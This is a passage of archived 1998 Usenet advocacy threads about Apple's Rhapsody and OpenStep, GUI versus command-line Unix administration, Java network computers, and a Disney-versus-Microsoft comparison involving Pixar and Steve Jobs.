Subject: Re: Rhapsody being scrapped? What's up with this?
Date: 2 Apr 1998 10:01:19 GMT
Organization: University of California at San Diego
Message-ID: <slrn6i6ofe.17n.mbkennel@lyapunov.ucsd.edu>
References: <rmcassid-3103981323260001@dante.eng.uci.edu> <6ft833$lae@flonk.uk.sun.com> <rmcassid-0104981112000001@dante.eng.uci.edu> <6fva9h$ris$1@ha2.rdc1.sdca.home.com>
On 2 Apr 1998 06:13:05 GMT, Rex Riley <rexr@starr.com> wrote:
:>In <rmcassid-3103981540370001@dante.eng.uci.edu> rmcassid@uci.edu writes:
:>If Rhapsody ends up with a MacOS or NT sized market, it'll get plenty of
:>developers to forget Newton and chase the market.
:>
:>
:
:Isn't "chase the market" metaphor _at-risk_,and so RhapsodyOS, as well,
:really?
:
:The "window of opportunity" timing looks critical and closing fast for Apple.
:Jobs & Co. had better get Rhapsody "on message" wrt Java and "in position"
:wrt NC marketplace. Talk, rumor and legacy "cross-compatibility" to NT,
:Windows, Solaris, etc... will play to an empty audience shortly.
How about "A Network Computer Which Doesn't Suck."
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: rexr@starr.com (Rex Riley)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody being scrapped? What's up with this?
Date: 2 Apr 1998 06:13:05 GMT
Organization: @Home Network
Message-ID: <6fva9h$ris$1@ha2.rdc1.sdca.home.com>
References: <rmcassid-3103981323260001@dante.eng.uci.edu> <6ft833$lae@flonk.uk.sun.com> <rmcassid-0104981112000001@dante.eng.uci.edu>
>In <rmcassid-3103981540370001@dante.eng.uci.edu> rmcassid@uci.edu writes:
>If Rhapsody ends up with a MacOS or NT sized market, it'll get plenty of
>developers to forget Newton and chase the market.
>
>
Isn't "chase the market" metaphor _at-risk_,and so RhapsodyOS, as well,
really?
The "window of opportunity" timing looks critical and closing fast for Apple.
Jobs & Co. had better get Rhapsody "on message" wrt Java and "in position"
wrt NC marketplace. Talk, rumor and legacy "cross-compatibility" to NT,
Windows, Solaris, etc... will play to an empty audience shortly.
JavaOS and Java Lang. are capturing mindshare and building. Won't
developer's getting hot and lathered over "chasing a market" pursue the
latest,greatest phenom? With the weight of IBM and Sun's marketing machines
grinding JavaOS into everyone's coffee, is Apple cost-justified to switch the
market herd to Rhapsody Brew.
I have just abandoned my market mentality of MacOS,Windowsxx,SunOS,etc... The
market segments are shaping into "Servers" and "NC's" in various _weights_.
Between here and there only transitional legacyOS attrition.
best...
-r
Rex Riley
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 2 Apr 1998 06:19:48 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6i6bg4.j6l.sal@panix3.panix.com>
References: <199801202218001457904@ppp8.hol.fr> <6flfq7$lu4$1@bignews.shef.ac.uk> <6fmtdo$qr7$1@quasar.dim <rmcassid-0104981001030001@dante.eng.uci.edu> <6fudoa$nqe$1@crib.bevc.blacksburg.va.us> <rmcassid-0104981421190001@dante.eng.uci.edu>
Xcanpos: shelf.01/199804141001!0028468390
On Wed, 01 Apr 1998 14:21:19 -0800, rmcassid@uci.edu <rmcassid@uci.edu> wrote:
>Well, neither will QT as it turns out... But I don't really see IB-Lite
>and AS handling interactive time-keyed multimedia streaming to my browser.
>*That* is the goal. My description wasn't really that, well, descriptive.
I think AS+IB lite+ a set of custom pallets with HyperCardish widgets
would be the best bet. It would also go a long way toward providing an
OpenDoc-work-a-like that others have been itching for
The custom pallets would be a set of panels with connectors for YB
objects. They would look like "pages". Bit of AS could be connected to
the "page turn" widget, or to buttons to control what page would be
executed next. Users would simply drag widgets off of the QT, Image,
sound, and system services pallets and onto the pages. They would then
choose options from the inspectors, and link to AS code snipets.
I don't see how this would be any harder than HC.
At some point, Apple could provide a "NSAppleScriptPageView" that would
allow existing Apps to host these stacks in an OpenDoc like manner.
It would give us User Objects, Scripting, a GUI dev tool and a way to
host these objects in existing Apps at the same time.
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
From: Kenneth R. Kinder <Ken@_$spamless$_KenAndTed.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 2 Apr 1998 06:21:31 GMT
Organization: Dimensional Communications
Sender: Kinder Robert <kinders@flatland.dimensional.com>
Message-ID: <6fvapb$6th$3@quasar.dimensional.com>
References: <199801202218001457904@ppp8.hol.fr> <6bunvs$btf$1@ns3.vrx.net> <6cisv6$kbn$2@quasar.dimensional.com> <6dbrd2$fn6$22@ironhorse.plsys.co.uk> <34FAD56E.F4B08F27@markelcorp.com> <6dfoc4$3o0$1@quasar.dimensional.com> <slrn6fn71t.cnk.sal@panix3.panix.com> <6ffdae$4qq$1@quasar.dimensional.com> <slrn6hno4t.5p.sal@panix3.panix.com> <6fkjic$dcs$1@quasar.dimensional.com> <6flfq7$lu4$1@bignews.shef.ac.uk> <6fmtdo$qr7$1@quasar.dimensional.com> <351f11d5.0@206.25.228.5> <6fnorc$71e$3@ns3.vrx.net>
User-Agent: tin/pre-1.4-980105 (UNIX) (SunOS/4.1.4 (sun4m))
Xcanpos: shelf.01/199804141001!0028750840
In comp.os.linux.advocacy , article <6fnorc$71e$3@ns3.vrx.net> , Maury Markowitz <maury@remove_this.istar.ca> wrote:
>>> or no Mach, BSD or no BSD) for its OpenStep API, and it has Steve
>>> Jobs' "everything should be done in a GUI" philosophy. I simply
>>> disagree with both the proprietary architecture, and the 100%
>>> GUI philosophies.
>> OpenStep is a free and open API for anyone to use. GNU and SUN
>> are using it. It's an open standard. As to the 100% GUI bit, you
>> are wrong. True, OpenStep supports a lot of nice GUI stuff, but
>> it supports a ton of non GUI stuff. As to the core OS, there is
>> always Terminal.app if you want to get down and boogie like a gear
>> head.
> I think it's safe to say that the market has proven that people, in the
> vast majority, want a 100% GUI enviornment. In this respect OpenStep _is_
> unlike Linux, in that the former can be so, the later cannot. I'm sure Ken
> will now debate this saying that you can do everything in the GUI, but I can
> find just as many people to say the opposite, and his own comments in the
> past.
The user can do everything from the GUI... infact, we have boxes setup
that. Login with XDM, and use icewm for somplicity and familiar key
bindings for Windowsers, and Applix, Netscape, Nedit -- we have all the apps
they need setup for them...
Anyway, Muary.. or whoever I'm talking to.. have you considered the remote
possibility that not everyone should use the same OS?
> Regardless OS has one big remaining hole to plug here, that's PPP support.
> If Apple can make a _really_ good installer (hell, it should be on all
> installs anyway) and clean up the three GUI utils you need to get the net up
> and running (SNS, Config and OmniNet) into a single clean interface, then I
> think that will be one barrier down.
Honestly, if I were Apple (yikes!), besides just OpenSourcing everything :),
I wouldn't put too much effort into PPP... it'll be obsolete in 3-5 years.
> I tried installing PPP on my OS box at home, and gave up. Now I use a
> twisted-10BASE-T cable to my Mac.
<aham> ezPPP... X11R6... <grin>
--
H3C-N--C=N | Kenneth R. Kinder, aka Bouncing "code=caffiene*hours"
\==/ | Ken@KenAndTed.com http://www.KenAndTed.com/KensBookmark/
O=<__>N-C3H |
H3C-N \\O | Ken & Ted's Software
_________________| http://www.KenAndTed.com/ Software@KenAndTed.com
From: drifterusa@sprintmail.com (John Bauer)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "Well, Mr. Jobs, What'll It Be?"
Date: Thu, 2 Apr 1998 00:34:22 -0500
Organization: KAOS
Message-ID: <199804020034221564225@sdn-ts-002txhousp07.dialsprint.net>
References: <6f6fpe$lk5@shelob.afs.com> <jayfar-2303981832130001@downtown1-8.slip.netaxs.com> <rmcassid-2403981215280001@dante.eng.uci.edu> <199803300039192097841@sdn-ts-003txhousp07.dialsprint.net> <6fol4e$n21$1@nnrp1.dejanews.com> <rmcassid-3003981259440001@dialin9013.slip.uci.edu> <19980331031822711231@sdn-ts-005txhousp14.dialsprint.net> <rmcassid-3103980921490001@dante.eng.uci.edu> <19980331164046824062@sdn-ts-012txhousp03.dialsprint.net> <rmcassid-3103981617150001@dante.eng.uci.edu> <199804010054202605346@sdn-ts-004txhousp02.dialsprint.net> <rmcassid-0104981103050001@dante.eng.uci.edu>
Xcanpos: shelf.01/199804141001!0029028250
Bob Cassidy wrote:
> I think that had a film like Anastasia been released by Disney, it would
> have been very profitable. Call it a blunder by the studio that released
> it or whatever, but it's damn hard for Disney to release a bomb regardless
> of it's quality. That's different than saying that only Disney can be
> successful at animation, but there is a certain guarantee of viewership
> with Disney.
That guarantee has fallen with each film since THE LION KING. HERCULES
was a big disappointment, barely matching HUNCHBACK's take even though
the latter was considered something of an experimental misfire while the
former was thought to be a sure thing. The formula is getting tired and
the audience knows it. Too bad the creators of ANASTASIA didn't.
Also, it took Disney years of effort and exceptional films to build up
today's audience loyalty. Why should Fox get it on the first try?
> But are those films profitable enough to keep a studio like Pixar in
> business? We're not talking low-budget animation here, but high-budget
> productions. That's what Toy Story was and what all Pixar feature films
> will likely be. Universal has not demonstrated that they can prop up that
> kind of film.
Is computer-generated animation really more expensive than manually
painting on cels? I would have thought just the opposite (though I
admit I don't know). I don't recall hearing that TOY STORY's budget was
higher than the animated norm.
> I wrote:
>
> >Are Spielberg's thrill ride movies successful more because of marketing or
> >craft?
>
> Depends on the film. Some are definately marketing. Some are clearly
> craft. Most are both, actually.
I would say the originals were craft, the sequels were marketing (with
and without craft). But it was the quality of the originals that
enabled the sequels to exist in the first place.
> Which makes the point to a degree. Should Spielberg risk his craft on a
> studio that is 2nd best at marketing? Disney *knows* exactly who they are
> and what they can offer Pixar. Steve seems to have great respect for the
> Disney name brand. I don't think there was any serious alternative to
> Disney in Steve's mind and yet he got a great deal. In fact he shocked a
> *lot* of people with how good a deal he got.
I don't dispute that Jobs was right to go to Disney -- any more than
Disney was right to go to McDonald's or any other market leader makes a
good partner. I believe Jobs got a favorable deal because Eisner was
well aware of the benefit to Disney as well. I also believe that none
of this bears any comparison to Microsoft.
> >How about Windows 95?
>
> Same thing. I'd be lying if I said there weren't real legitimate reasons
> to buy Win95. I'd also be lying if I said that only those reasons were why
> people buy Win95. Win95 is successful due to marketing, coersion, and a
> failure on the part of other companies (like IBM and Apple) to compete
> effectively.
This is perhaps the crux of our disagreement. I don't feel that
Disney's success comes in any significant way from coercion. Disney
competes in an open market and wins because they deserve to win, not
because they stack the cards against everyone else. Try as they might,
they haven't found a way to control the game (other than to make good
movies) -- and I don't think they will. This is not to deny Disney's
power in the market, like Nike's or Coke's or Levi's or Procter &
Gamble's. (In fact, Disney may be the least coercive of that bunch.)
But I see a distinction between the kind of power these companies wield
and that of Microsoft.
> I think that Steve sought Disney out knowing that Disney had the most to
> offer Pixar. At the same time, he didn't have any choice really. It's not
> an underhanded conspiracy, if that's what you mean, but I don't see that
> Pixar would have made 1/2 as much money with any other studio as with
> Disney.
Jobs chose the best partner at the time, true. Disney may always be the
best partner or may not, based on market dynamics. 10 years ago Disney
would not have been the obvious choice it is today.
> Microsoft doesn't always intend to be Microsoftian, sometimes it just
> works out that way. Same with Disney. Intuit is somewhat Microsoftian as
> well, but I don't think any less of them because of it - that's how it
> ended up, is all.
I use "Microsoftian" to mean shrewdly coercive but not simply dominant.
Is Intuit coercive? (I hadn't heard.)
> I don't think that you [c]an say that Disney's films are successful because
> of their talent over their marketing - how would you even measure that.
If you were to watch all the animated films released in the last ten
years and rank them according to which ones sustained your interest the
best, I believe most adults would pick the Disney films. Certainly one
year the New York Film Festival and the Academy Awards picked BEAUTY AND
THE BEAST. Yes, it's a matter of taste to a degree, but it is also
painfully self-evident. Of course, if you approach the entire animated
genre as kiddie fodder not worthy of your attention, the distinction
will be lost -- but it doesn't mean it doesn't exist for the rest of the
moviegoing public. THE LITTLE MERMAID didn't bring Disney out of its
slumber nor THE LION KING become the 5th most popular film of all time
because Disney finally perfected their marketing! If that were all it
took, HERCULES would be the *most* popular film of all time. (Much as I
hate TITANIC, I wouldn't attribute its success to marketing, either.)
> I've got Disney videos at home that I've never seen in the theaters or
> even on the VCR. But I own them. Why? Certainly not because of the high
> quality. Must be some other reason. Its anecdotal, to be sure, but I know
> a lot of other people that are the same way (some of those films came from
> these people).
Are these videos titles you've never heard of, or ones that you've heard
are good or "classic"? If you're just buying any video with the Disney
stamp on it, your buying habits at the video store sound a tad unusual.
FWIW, my niece seems to like some crappy direct-to-video titles pretty
well also (i.e., they kill the time), but she didn't want to dress up as
a crappy video heroine on her birthday.
> [I]n terms of animation, they are almost guaranteed profitable. It's sheer
> momentum here. In animation, the Disney marketing machine seems to be
> invincible. MS has had many failures as well, but not in the OS or Office
> arenas.
I don't think Disney feels their marketing machine is invincible; right
now their momentum is going the wrong way. I would guess they're a bit
nervous about how this summer's animated entry will fare. If it doesn't
break $100 million at the box office, watch the stock take a hit.
> Why can they consistently profit? Could the fact that I have a small
> baby-sitting library of Disney films that I've never seen be relevant? The
> movies sell regardless of the quality or content. So long as they are
> 'Disney' and are appropriate for the age group, they sell.
I'm curious as to what's in your video library. ROBIN HOOD? THE FOX
AND THE HOUND? THE RESCUERS DOWN UNDER? THE GREAT MOUSE DETECTIVE?
It's true that kids are often not discerning viewers, but many parents
are and choose the cream of the crop. In animation that has almost
always meant Disney. A film like THE LION KING does not gross $300
million by boring millions of adults.
> If your point is that Disney is a quality product where MS is not, well, I
> suppose I cannot argue with you there. But that does not mean that Disney
> is as successful as they are as a result of that quality. MS is proof that
> success does not necessarily result from quality.
And Disney quality is proof that Disney is not Microsoft!
> Market to those individuals that are the least discerning of quality and
> have the greatest effect on purchasing - management typically fits this
> role, as do kids for certain kinds of products like entertainment.
> Marketing Disney to me is pointless. McD's learned this lesson long ago -
> market to the kids that know nothing of nutrition or cost and you get the
> kids *and* the parents as customers. Much more effective.
But you have to find enough parents who can stomach what you're
promoting. I think it's easier to get people to eat (or even abstain)
at McDonald's for half an hour than to sit through 90 minutes of tedium
in a theater. And theatrical success is still the determining factor in
how well the ancillary revenue streams perform.
> I believe that as those costs [of animation] have increased, the profits
> from the animations have decreased significantly. That without the
> merchandising and other bits and pieces, that the films would be much more
> difficult to justify today. Certainly it hasn't always been like this, but
> such is the trend today.
Perhaps, but movie studios operate by gambling on how much they can make
*total* from a film. All "event" movies are difficult to justify today
except that profits are often guaranteed because of the existence of so
many media outlets worldwide. Movies with licensing tie-ins are that
much more appealing to gamble on because if they hit, they pay off big.
An animated feature in and of itself is no more of a gamble than any
other. It's just that so far no one but Disney has been able to produce
a great one (at least in the family genre).
> Disney doesn't need to intentionally operate in this way anyhow. The mere
> fact that they can, and they are who they are yields the desired effect.
So Disney is Microsoft simply because they *could be*? That seems a
little unfair -- like saying Clinton is Nixon because he could have
hired someone to break into Republican campaign headquarters.
> MS has the same reputation. Nobody would even consider developing a
> productivity suite today because MS is MS. MS might not take any action
> against the product at all but that doesn't matter since the other product
> will never come to be developed to begin with.
Yes, but other studios *are* making animated features aimed directly at
Disney's market!
> How would Anastasia have done had Disney released it? Probably much better
> - maybe not a blockbuster like other Disney films, but I imagine much
> better only on the Disney name. Fox was very vague about which studio was
> releasing Anastasia, trying to make it seem like a Disney release.
I don't deny that the Disney name means *something* (like the Spielberg
name means something -- I liked what this guy/studio produced before,
maybe I'll give this new one a chance). Fox's unwillingness to
prominently stand behind their film may also have backfired for not
asserting their own brand upon which to build a reputation for quality
animated films. Anyone who liked ANASTASIA won't be aware when the same
production team releases its next film.
> >THE LITTLE MERMAID was the class act of that pair.
>
> Fair enough. But it means that Disney does not need to actively compete
> against the other studios so long as they have a film not released in the
> last 5 years that would compete favorably.
Huh? (Sorry, Bob, that's a little confusing!)
> Fox might release 'A Bugs Life' only to be up against a rerelease of what?
> Bambi?
A rerelease of BAMBI would not provide a fatal blow any more than THE
LITTLE MERMAID did. THE LITTLE MERMAID has been unavailable on video
for a long time and among Disney's most requested rereleases. In fact,
I don't think the rerelease strategy in general works nearly so well
since the advent of cheap video sell-through pricing.
> It's not the same point by point - but Disney clearly is the 500lb gorilla
> and you'd be foolish not to have them on your side if you are releasing a
> children's animation.
Now see, I have no problem with that. Just like if I were playing
basketball, I'd want Jordan on my team. But Jordan is not Microsoft!
;-) (Let's not talk about Nike...)
--
John Bauer
<remove NOT from email address above, just like the spammers do>
From: Kenneth R. Kinder <Ken@_$spamless$_KenAndTed.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 2 Apr 1998 06:30:05 GMT
Organization: Dimensional Communications
Sender: Kinder Robert <kinders@flatland.dimensional.com>
Message-ID: <6fvb9d$6th$4@quasar.dimensional.com>
References: <199801202218001457904@ppp8.hol.fr> <6bunvs$btf$1@ns3.vrx.net> <6cisv6$kbn$2@quasar.dimensional.com> <6dbrd2$fn6$22@ironhorse.plsys.co.uk> <34FAD56E.F4B08F27@markelcorp.com> <6dfoc4$3o0$1@quasar.dimensional.com> <slrn6fn71t.cnk.sal@panix3.panix.com> <6ffdae$4qq$1@quasar.dimensional.com> <slrn6hno4t.5p.sal@panix3.panix.com> <6fkjic$dcs$1@quasar.dimensional.com> <6flfq7$lu4$1@bignews.shef.ac.uk> <6fmtdo$qr7$1@quasar.dimensional.com> <6fnerp$er$1@news.idiom.com>
User-Agent: tin/pre-1.4-980105 (UNIX) (SunOS/4.1.4 (sun4m))
Xcanpos: shelf.01/199804141001!0030053655
In comp.os.linux.advocacy , article <6fnerp$er$1@news.idiom.com> , John C. Randolph <jcr.remove@this.phrase.idiom.com> wrote:
>> But it seems to me that it has the proprietary software model (Mach or no
>> Mach, BSD or no BSD) for its OpenStep API, and it has Steve Jobs'
>> "everything should be done in a GUI" philosophy.
> It's more like everything should be *doable* in the GUI.
Sigh... you know what, I really don't care.
If I designed an OS, not everything could be done in the GUI because doing
that would waste my time for writing it, the users' time for trying to
figure out something that should be CLI, and their disk space for storing
it....
So here's the thing: you use Rhapsody or NextStep or BeOS or whatever. I'll
stay happy with my Linux. Fair enough?
>> I simply disagree with both the proprietary architecture, and the 100% GUI
>> philosophies.
> So double-click on Terminal.app. Or, type "console" into the login window.
> The loginwindow program will exit, and you'll see a scrolling text buffer.
> Hit return, and you'll get the usual UNIX login: prompt.
No no no no... I can run Bash on NT! That means nothing. What you need is
a system where you can install using character mode only, not install any
graphics anything, and use the whole damn thing (besides your
graphics-specific programs like Photoshop/Gimp, ect) from a vt100.
>>> so in what sense can Rhapsody not comapare with a "real Unix"?
>> The license, for one. I know, I know: other Unicies aren't OpenSource (aka
>> Free) either. But when I think of my Unix, I think free.
> That's a relatively recent development. Ever hear of AT&T and UNIX(tm)?
Ever year of the wheel? :) <grin>
>> I also think of a system that is totally administered from a CLI, with some
>> PURELY OPTIONAL GUI configurations (ie Red Hat Linux). Not visa versa.
> If I had to put up with some piece of crap like Sun's admintool, I'd prefer
> to edit /etc/passwd by hand, too.
and /etc/hosts
Here's a great example though... configure EVERYTHING in ... no... build a
/etc/rc.d directroy from scratch in a GUI w/o editing text files! That is
genna be one amazingly complex program!!!!!! It would be a lot simpler with
vi and bash.
> Fortunately, UserManager.app is a very nice piece of work, with facilities
> for creating user templates, bulk creation/deletion/enable/disable, and the
> like. Very nice tool if you need to create hundreds of accounts in a day,
> like we did at AT&T wireless. It's one of the things that made it feasible
> for five sysadmins to handle thousands of workstations.
Red Hat's Control Panel is alright. I still prefer just editing the file
though. The keyboard is quicker than the mouse, or even the GUI key
bindings...
--
H3C-N--C=N | Kenneth R. Kinder, aka Bouncing "code=caffiene*hours"
\==/ | Ken@KenAndTed.com http://www.KenAndTed.com/KensBookmark/
O=<__>N-C3H |
H3C-N \\O | Ken & Ted's Software
_________________| http://www.KenAndTed.com/ Software@KenAndTed.com
From: Kevin Brown <kevin@frobozz.unixperts.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.ms-windows.advocacy,comp.os.linux.advocacy
Subject: Re: Commentary on Apple's rumor mongering.
Date: 01 Apr 1998 22:15:30 -0800
Organization: Frobozzco International
Message-ID: <x767ks4um5.fsf@frobozz.unixperts.com>
References: <351FC022.671D4C36@milestonerdl.com>
<trev-3003981228020001@dial-17.r13.scsumt.infoave.net>
Xcanpos: shelf.01/199804141001!0030210843
trev@sc.edu (Trevor Zion Bauknight) writes:
> In article <351FC022.671D4C36@milestonerdl.com>, mark@milestonerdl.com wrote:
>
> > NeXTSTEP/Openstep was available to the mass-market for ten years,
> > and with the exception of the NSA and Wall Street, it was rejected.
>
> It was not rejected by the markets NeXT apparently was aiming at with
> those prices. NeXT clearly was not able to mass-market its fine OS, and
> so it successfully marketed it with a narrow focus on those types of
> organizations which demanded the things it offered. The NSA and Wall
> Street are prime examples of such markets...Apple gives NeXT technology a
> different kind of life, one that is interesting to millions of people,
> instead of simply thousands, and it remains to be seen what that market
> will make of it. If the anticipation is any indication, chances are it
> will not be "rejected."
I'll become more convinced that Apple has what it takes to succeed
when they first figure out whether they're a hardware company or a
software company.
As it stands right now, they haven't even got that part figured out,
which is why they all but killed the Mac clone market while at the
same time they fumble about with operating systems (do you really
think the core OS underneath Rhapsody will be as good as the Linux
core? Do you really think it will be able to improve as rapidly?).
Most companies that don't have a clear direction ultimately fail. I
don't see any reason to believe that Apple is any exception, and I see
little evidence that they really know what they're doing or why.
It used to be that I paid little attention to the Apple doomsayers,
but Apple has been so schizophrenic for the past year that I have to
conclude that they were probably right. Unless Apple figures things
out, it's only a matter of time before they go under (Bill Gates
notwithstanding, of course).
--
Kevin Brown kevin@sysexperts.com
This is your .signature virus: < begin 644 .signature (9V]T8VAA(0K0z end >
This is your .signature virus on drugs: <>
Any questions?
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "Well, Mr. Jobs, What'll It Be?"
Date: 1 Apr 1998 00:00:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1473508-AB8F4@206.165.43.177>
References: <19980331164043823920@sdn-ts-012txhousp03.dialsprint.net>
To: "John Bauer" <drifterusa@sprintmail.com>
nntp://news.primenet.com/comp.sys.mac.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Xcanpos: shelf.01/199804131001!0032074765
John Bauer <drifterusa@sprintmail.com>
> Lawson English wrote in response to my praise of Disney animation:
>
> > Obviously, you are not into Anime.
>
> Quite true. I did see GHOST IN THE SHELL on video last year as my first
> foray into "Japanimation," and it certainly had its merits, but overall
> I felt silly watching it. Maybe GHOST is a poor starting point, or
> perhaps I need further exposure to the stylistic conventions of anime to
> "get it." In any case, I consider this a distinct form from what Disney
> and its imitators are doing -- mainly because one is family-oriented and
> the other (at least from what I can tell) is not. As you may know,
> however, Disney also has a deal with an anime director/studio (I forget
> which), so even fans of the genre may find a friend in Disney (or not,
> depending on how it plays out).
>
I've never seen "Ghost in the Shell," but I've heard good things about it.
Anime has bunches of sub-genres. There's historical, sci-fi, fantasy, dark
sci-fi/fantasy, pure horror, sex horror, sex comedy, sex comedy horror,
lite comedy, kid's stuff, stupid kid's stuff and a jillion combinations of
the above along with other catagories that I've probably never heard of.
There's even a 90 minute Macintosh clone ad from Pioneer (Pretty Sammy
Special #2 -The Macos computer helps Pretty Sammy save the world from the
evil plans of Bif Standard, the software mogul) directed at 4-9 year-old
girls.
My all-time favorite manga/anime author is Takahashi Rumiko. Ms. Takahashi
has published about 1,000 comics in the last 20+ years, and nearlyl 500 TV
cartoons have been based on them. The Big Three are (in order) Urasei
Yatsura ("Those Obnoxious Aliens"), Maison Ikokku (about a boarding house
of that name), and Ranma 1/2 (my favorite). She started writing the first
of these as a comic strip series when she was about 19 and a few years
later, they were made into 180+ TV episodes, taken pretty directly from the
strip, as far as I can tell. Maison Ikokku inspired 90+ episodes and Ranma
1/2 inspired over 160 episodes in a series, followed by bunches of specials
and several full-length movies.
Takahashi goes for some killer puns that can probably only be truely
appreciated if you speak the language(s). My favorite example is one of her
characters, a Buddhist monk whose name is Cherry Blossom. The name is
portrayed with the Chinese glyph for "derranged monk", and his nickname is
the English word "Cherry" (a virgin). His head is drawn like a cherry
without a stem -he's bald.
Since I don't speak Japanese, I can only glimpse the intricacies. The
storylines can be equally interesting and convoluted. NOT your standard
Disney family flick, I'll agree, although any of the above by Takahashi are
probably suited for kids as long as the parents don't object to partial
nudity, beautiful alien space she-devil-princesses marrying ludicrously
horny (albeit unfulfilled!) Earthling teenagers, or adolescent martial arts
experts who turn into girls when they're splashed with cold water.
> -----
>
> PS On a totally unrelated subject: Lawson, I thought you might be
> interested to hear that CompUSA plans to open a store in Tucson this
> spring.
>
Now THAT is good news...
---------------------------------------------------------------------
"OpenDoc may be impressive technology, but if no-one else is using it, why
should Apple?" --Steve Jobs
"In short: if you want to blow people away with what can be done *only* on
a Mac, show them Cyberdog." --Tom Keyes
<news://cyberdog.apple.com/cyberdog.general/19411>
---------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "Well, Mr. Jobs, What'll It Be?"
Date: 1 Apr 1998 00:05:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1473630-AFE8D@206.165.43.177>
References: <352174b7.0@206.25.228.5>
To: "John Kheit" <jkheit@xtdl.com>
nntp://news.primenet.com/comp.sys.mac.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
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Xcanpos: shelf.01/199804131001!0032914030
John Kheit <jkheit@xtdl.com>
> Now if they must
> issue new stocks, and say those stocks are worth X% and all existing
> stocks out there are now going to be worth Y-X%, then that would
> dilute ownership. They would of course not be able to do such a
> thing without shareholder approval. Something unlikely to occur.
Actually, it is very unusualy for ANY board of directors of ANY company to
not be able to get ANY plan passed by the stockholders (remember -no vote
is essentially a vote in FAVOR of what the BoD asked for regardless of the
legalities involved). In this case, 17 million shares have been proposed to
be issued as NEW shares of Apple stock in order to compensate Mr Jobs or
whoever takes the position of CEO as well as for other executives of the
company.
You can read all about it in Apple's SEC filing. It's online someplace.
I believe that he's supposed to get 1 million new shares outright plus
options for many times that many -up to 5-8% of the company is the figure
I've seen quoted, although I didn't read that specifically in the SEC
filing.
---------------------------------------------------------------------
"OpenDoc may be impressive technology, but if no-one else is using it, why
should Apple?" --Steve Jobs
"In short: if you want to blow people away with what can be done *only* on
a Mac, show them Cyberdog." --Tom Keyes
<news://cyberdog.apple.com/cyberdog.general/19411>
---------------------------------------------------------------------
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXT style scroll bars
Date: Thu, 02 Apr 1998 07:08:25 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <35233969.E1E5BBD@nstar.net>
References: <6e6jl3$csu$3@ns3.vrx.net> <B12D7BD5-3CE309@141.214.128.36> <3521DC87.5515B046@nstar.net> <6fu5er$2f7$1@interport.net> <3522A4BC.74C7BEF0@nstar.net> <6fuj2p$c7j$7@anvil.BLaCKSMITH.com>
Mime-Version: 1.0
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Xcanpos: shelf.01/199804141001!0036456773
Charles Swiger wrote:
> Almost all of the problems you've mentioned have well-known solutions. In
> fact, most of them have been discussed before, and a moderately skilled
> application of search filtering and keyword choice via DejaNews would produce
> lots of useful information.
By the way, you're going to fix the left-handed scrollers? You're going
to help me with the lack of text-based help files? You're going to
personally email me man pages which are missing in my former User's
Release? Or maybe you were going to help me with my network problems?
Seems like last time you tried that, Chuck, you did the following:
1) Told me my box was "screwed up"
2) Told me I was "incompetent"
No offense taken, but you were a whole lot of help. Maybe I should look
for the *other* helpful NeXT community.
MJP
From: Kenneth R. Kinder <Ken@_$spamless$_KenAndTed.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 2 Apr 1998 07:08:01 GMT
Organization: Dimensional Communications
Sender: Kinder Robert <kinders@flatland.dimensional.com>
Message-ID: <6fvdgh$aa0$1@quasar.dimensional.com>
References: <199801202218001457904@ppp8.hol.fr> <6bunvs$btf$1@ns3.vrx.net> <6cisv6$kbn$2@quasar.dimensional.com> <6dbrd2$fn6$22@ironhorse.plsys.co.uk> <34FAD56E.F4B08F27@markelcorp.com> <6dfoc4$3o0$1@quasar.dimensional.com> <slrn6fn71t.cnk.sal@panix3.panix.com> <6ffdae$4qq$1@quasar.dimensional.com> <slrn6hno4t.5p.sal@panix3.panix.com> <6fkjic$dcs$1@quasar.dimensional.com> <6flfq7$lu4$1@bignews.shef.ac.uk> <6fmtdo$qr7$1@quasar.dimensional.com> <351F49F2.50DF3F6B@trilithon.com>
User-Agent: tin/pre-1.4-980105 (UNIX) (SunOS/4.1.4 (sun4m))
Xcanpos: shelf.01/199804141001!0037104485
In comp.os.linux.advocacy , article <351F49F2.50DF3F6B@trilithon.com> , Henry McGilton <henry@trilithon.com> wrote:
> I personally haven't bothered to post too much to this group
> these past few years as it appears to be the antitheses of
> Next Advocacy. However, Ken, I'd like to address some of your
> points. Some of the back-and-forth has been snipped for the sake of
> brevity, so please let me know if you think anything's taken
> out of context.
Okie dokie...
>> Anyway, as I said: I don't know enough about RHAPSODY to
>> give it a technological review -- at least not one to my
>> standards.
> Well, given that you say you don't know much about it, why do you
> have such strong opinions about its alleged deficiencies? Why
> not take the time to learn the system thoroughly (as Malcolm and
> a few others have done) and then compare Rhapsody with your
